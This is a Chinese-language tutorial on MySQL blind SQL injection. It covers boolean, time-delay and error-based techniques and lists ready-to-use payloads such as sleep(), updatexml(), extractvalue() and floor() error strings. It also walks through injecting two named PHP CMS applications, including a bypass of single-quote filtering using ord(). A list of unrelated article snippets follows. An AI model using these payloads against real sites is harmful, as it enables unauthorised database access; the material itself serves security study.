Web攻防04_MySQL注入_盲注
文章目录
- MYSQL-SQL操作-增删改查
- 盲注概念
- 盲注分类
- 盲注语句
- 参考&更多盲注语句/函数
- 注入条件-数据回显&错误处理
- PHP开发项目-注入相关条件:
- 基于延时:
- 基于布尔:
- 基于报错:
- CMS案例-插入报错&删除延时-PHP&MYSQL
- 1、xhcms-insert报错
- 2、kkcms-delete延时
- 总结
参考:https://www.jianshu.com/p/bc35f8dd4f7c
MYSQL-SQL操作-增删改查
1、功能:数据查询
查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等
增加:INSERT INTO news (字段名) VALUES (数据)
3、功能:删除用户,删除新闻等
删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等
修改:UPDATE news SET id=$id
盲注概念
盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。(没有回显的注入)
解决:常规的联合查询注入不行的情况
盲注分类
我们可以知道盲注分为以下三类:
1、基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
需要有回显,错了报错
2、基于时间的SQL盲注-延时判断
if,sleep
3、基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
一般用的较多的是延迟注入和报错注入,布尔需要有回显,一般网站都没有。
盲注语句
延迟:
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
布尔:
and length(database())=7; 数据库长度
and left(database(),1)=‘p’; database()的前一位
and left(database(),2)=‘pi’; database()的前两位
and substr(database(),1,1)=‘p’; database()的第一位
and substr(database(),2,1)=‘i’; database()的第二位
and ord(left(database(),1))=112;
报错:
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
0x7e —> 十六进制编码
~为了更好的识别内容,有些工具为了识别也加入
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
有些报错语句基于MySQL版本决定。有些版本不支持一些语句,目前用的最多的语句:
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
参考&更多盲注语句/函数
参考:https://www.jianshu.com/p/bc35f8dd4f7c
like 'ro%' #判断ro或ro...是否成立 regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等if(条件,5,0) #条件成立 返回5 反之 返回0sleep(5) #SQL语句延时执行5秒mid(a,b,c) #从位置b开始,截取a字符串的c位substr(a,b,c) #从位置b开始,截取字符串a的c长度left(database(),1),database() #left(a,b)从左侧截取a的前b位length(database())=8 #判断数据库database()名的长度ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
注入条件-数据回显&错误处理
PHP开发项目-注入相关条件:
1、是否有输出结果
2、是否开启报错
基于延时:
都不需要
and if(1=1,sleep(5),0)
基于布尔:
有数据库输出判断标准
and length(database())=6
基于报错:
有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
测试delete注入:(有无回显,有无报错)
删除(延迟):1 and if(1=1,sleep(5),0)
删除(布尔):3 and length(database())=6(无回显 无法判断注入)
删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
CMS案例-插入报错&删除延时-PHP&MYSQL
1、xhcms-insert报错
审计时发现有报错注入:

找到网站中该处注入点:

写入注入的报错语句:
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

保存提交,得到注入结果:

注入得出MySQL版本。
2、kkcms-delete延时
审计时找到可注入点,但是没有回显也没有报错,只能延时注入:

找到页面位置:

由于该注入为延迟注入,需要判断时间,用burpsuite抓包进行改包注入,或用postman等工具进行测试较为方便。
抓到删除的包
使用延时语句进行注入:
and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
发现并没有延时:
因为php中有自动过滤单引号,过滤了单引号所以注入失败,将字符换位ASCII码,即可绕过。
MySQL中ord()函数转换为ASCII码
**注入语句:**or if(ord(left(database(),1))=107,sleep(2),0)
ord(left(database(),1))=107该语句表示数据库名第一位的ASCII码为107,即为k
结果:出现延迟

总结
SQL注入-DNSlog带外显示,也就是需要通过SQL语句去请求外部网站,只有使用
load_file()去载入外部网址内容才有可能,所以需要是root用户而且将安全开关关闭,才有可能,实战中基本不可能遇到。没有太大价值。
实际情况中手工注入的机会不多,一般都是先用工具注入,如果工具注入失败,再通过工具的结果情况判断,是哪方面原因,再结合手工注入进行对比,之后再对工具进行修复,对其语句进行修改,再用工具进行注入。
相关文章:
Web攻防04_MySQL注入_盲注
文章目录 MYSQL-SQL操作-增删改查盲注概念盲注分类盲注语句参考&更多盲注语句/函数 注入条件-数据回显&错误处理PHP开发项目-注入相关条件:基于延时:基于布尔:基于报错: CMS案例-插入报错&删除延时-PHP&MYSQL1、x…...
Flask自定义装饰和g的使用
1. 在commons.py文件中新增一个装饰器类: 注:一定要加入wraps进行装饰否则,装饰器在给多个函数进行装饰时会报错 from functools import wraps from flask import session, current_app, g# 定义登陆装饰器,封装用户的登陆数据 def user_log…...
【汇编】汇编语言基础知识(学习笔记)
一、汇编语言概述 汇编语言是直接在硬件之上工作的编程语言,首先要了解硬件奈统的结构,才能有效的应用汇编语言对其编程。 二、汇编语言的产生 机器语言:机器语言是机器指令的集合 汇编语言的主体是汇编指令 汇编指令和机器指令的差别在…...
前端 | FormData 用法详解
前端 | FormData 用法详解 介绍 FormData 是 Ajax2.0 对象用以将数据编译成键值对,以便于 XMLHttpRequest 来发送数据。XMLHttpRequest Level 2 提供的一个接口对象,可以使用该对象来模拟和处理表单并方便的进行文件上传操作 如果表单属性设为 mu…...
linux常见命令-文件目录类
9.4 文件目录类 (1)pwd 指令:显示当前工作目录的绝对路径 (2)Is指令:查看当前目录的所有内容信息 基本语法: ls [选项,可选多个] [目录或是文件] 常用选项:-a:显示当前目录所有的文件和目录,包括隐藏的…...
2023 10月8日 至 10 月16日学习总结
1.做的题目 [RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客 [NCTF2019]SQLi regexp 盲注-CSDN博客 [网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客 PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客 …...
【Java 进阶篇】深入了解 Bootstrap 表格和菜单
表格和菜单是网页设计中的重要组成部分,它们用于展示数据、导航和用户交互。Bootstrap 是一个强大的前端框架,提供了丰富的表格样式和菜单组件,使开发者能够轻松创建功能丰富的网页。在本文中,我们将深入探讨 Bootstrap 中表格和菜…...
java的for循环中遇到异常抛出后继续循环执行
java的for循环中遇到异常抛出后继续循环执行 Test public void loopTryCatchTest() throws Exception {Map<String, Object> a new HashMap();a.put("a", "1");a.put("b", null);a.put("c", "3");for (Map.Entry<…...
【Javascript】构造函数之new的作用
目录 new的作用 把对象返回了回来 无new 有new 把构造函数的this指向了要返回的对象 无new编辑 有new new的执行流程 new的作用 创建了新空对象将构造函数的作用域赋值给新对象(this指向新对象)执行构造函数代码 (为这个新对象添加属性)返回新对…...
粘包和半包问题及解决办法
粘包问题是指数据在传输时,在一条消息中读取到了另一条消息的部分数据,这种现象就叫做粘包。 半包问题是指数据在传输时,接收端只收到了部分数据,而非完整的数据,就叫做半包。 产生粘包和半包问题原因: …...
MySQL数据库查询实战操作
前置条件: 创建库:MySQL基本操作之创建数据库-CSDN博客 创建表:MySQL基本操作之创建数据表-CSDN博客 目录 常规查询常用函数union查询一、常规查询 1、查询所有姓名以 "张" 开头的学生: SELECT * FROM student WHERE name LIKE 张%; 这条语句使用 LIKE 运算…...
Elasticsearch 8.9 Master节点处理请求源码
大家看可以看ElasticSearch源码:Rest请求与Master节点处理流程(1) 这个图非常好,下午的讲解代码在各个类和方法之间流转,都体现这个图上 一、Master节点处理请求的逻辑1、节点(数据节点)要和主节点进行通讯࿰…...
Python---练习:while循环案例:猜数字
需求: 计算机从1 ~ 10之间随机生成一个数字,然后提示输入数字,如果我们输入的数字与随机数相等,则提示恭喜你,答对了。如果输入的数字比随机数大,则提示,猜大了。反之,则提示猜小了…...
CRM自动化意味着什么?企业如何从中受益?
客户关系管理(CRM)软件不再仅仅适用于大公司或销售周期长的行业,它越来越成为各种规模企业的重要工具。 在日常工作中,当你陷入流程的所有细节时,可能会产生不必要的工作。因此,如果你想要CRM提供的组织和…...
Python大数据之PySpark
PySpark入门 1、 Spark与PySpark 1、 Spark与PySpark...
网工记背命令(7)----静态路由(负载分担,主备备份)
1.静态路由负载分担 如图所示,属于不同网段的主机通过几台 Switch 相连,要求不配置动态路由协议,使不同网 段的任意两台主机之间能够互通,从拓扑图中可以看出,从 PCA 到 PCC 有两条路径可以过去,分别是 PC…...
error: unable to read askpass response from
报错信息 解决方法: 中文:文件-->设置-->版本控制-->Git-->勾选使用凭证帮助程序 英文:File -> Settings -> Version Control -> Git / Check "User credential Helper" 因为我的webstrom是中文版的&#…...
运行stable-diffusion-xl-refiner-1.0遇到version `GLIBCXX_3.4.29‘ not found的问题
一、问题背景 https://huggingface.co/stabilityai/stable-diffusion-xl-refiner-1.0 在运行示例程序时候遇到GLIBCXX_3.4.29‘ not found diffusers to > 0.18.0 import torch from diffusers import StableDiffusionXLImg2ImgPipeline from diffusers.utils import loa…...
Ubuntu - 安装 Elasticsearch(ES)
注意:以下步骤基于 Elasticsearch 7.x 版本。版本可能会随时间而变化,请查看 Elasticsearch 官方网站以获取最新的版本信息。 添加 Elasticsearch APT 仓库: 打开终端,并使用以下命令添加 Elasticsearch APT 仓库到系统…...
字节码进阶之java Instrumentation原理详解
文章目录 0. 前言1. 基础2. Java Instrumentation API使用示例 3. Java Agent4. 字节码操作库5. 实际应用6. 注意事项和最佳实践 0. 前言 Java Instrumentation是Java API的一部分,它允许开发人员在运行时修改类的字节码。使用此功能,可以实现许多高级操…...
深度解析ComfyUI-SUPIR:专业级AI图像超分辨率实战指南
深度解析ComfyUI-SUPIR:专业级AI图像超分辨率实战指南 【免费下载链接】ComfyUI-SUPIR SUPIR upscaling wrapper for ComfyUI 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI-SUPIR ComfyUI-SUPIR作为ComfyUI生态中的专业图像超分辨率插件,…...
nli-MiniLM2-L6-H768效果展示:开源项目README与Issue描述的蕴含关系质量评估
nli-MiniLM2-L6-H768效果展示:开源项目README与Issue描述的蕴含关系质量评估 1. 模型核心能力解析 nli-MiniLM2-L6-H768是一个专为文本关系判断设计的轻量级自然语言推理模型。与常见的生成式AI不同,它的核心价值在于精准评估两段文本之间的逻辑关系。…...
用CubeIDE搞定LCD12864:手把手教你移植字库并显示自定义汉字
STM32CubeIDE实战:LCD12864自定义字库开发全指南 在嵌入式设备的人机交互界面开发中,LCD12864液晶屏因其高性价比和良好的显示效果被广泛应用。但当我们需要显示特殊符号、罕见汉字或自定义图形时,内置字库往往无法满足需求。本文将带你从零开…...
Semi.Avalonia完整指南:5个步骤打造现代化跨平台UI界面
Semi.Avalonia完整指南:5个步骤打造现代化跨平台UI界面 【免费下载链接】Semi.Avalonia Avalonia theme inspired by Semi Design 项目地址: https://gitcode.com/gh_mirrors/se/Semi.Avalonia 你是否正在为Avalonia项目寻找一个既美观又实用的主题库&#x…...
5个理由告诉你,为什么PPTist是下一代在线演示文稿制作工具的首选
5个理由告诉你,为什么PPTist是下一代在线演示文稿制作工具的首选 【免费下载链接】PPTist PowerPoint-ist(/pauəpɔintist/), An online presentation application that replicates most of the commonly used features of MS PowerPoint, a…...
Material Icon Library开源贡献指南:如何参与项目开发和维护
Material Icon Library开源贡献指南:如何参与项目开发和维护 【免费下载链接】material-icon-lib Library containing over 2000 material vector icons that can be easily used as Drawable or as a standalone View. 项目地址: https://gitcode.com/gh_mirrors…...
Adobe-GenP 3.0终极指南:一键快速激活Adobe CC全系列软件的完整教程
Adobe-GenP 3.0终极指南:一键快速激活Adobe CC全系列软件的完整教程 【免费下载链接】Adobe-GenP Adobe CC 2019/2020/2021/2022/2023 GenP Universal Patch 3.0 项目地址: https://gitcode.com/gh_mirrors/ad/Adobe-GenP 你知道吗?对于创意工作者…...
别再死记硬背了!用C#手写一个位运算模拟器,彻底搞懂与、或、非、异或
从零构建C#位运算模拟器:用二进制视角彻底理解与、或、非、异或 当你第一次在代码中看到x & y或~z这样的表达式时,是否曾好奇计算机究竟在底层做了什么?位运算作为编程语言中最接近硬件的操作之一,理解它的本质能让你写出更高…...
全栈编程基础知识1
全栈编程基础知识1 1.Java和mybatis 1.Java三大特性 - 封装:将自然界的对象封装为Java对象,属性私有化表示 - 继承:子类继承父类,extend继承 - 多态:同一个动作,不同的对象表现不同 2.==和equals对比 一个是比较的值,一个是比较的地址 3.string stringbuilder s…...
KMS_VL_ALL_AIO终极指南:5分钟快速搞定Windows和Office永久激活
KMS_VL_ALL_AIO终极指南:5分钟快速搞定Windows和Office永久激活 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 还在为Windows系统未激活而烦恼吗?是否因为Office办公软件…...
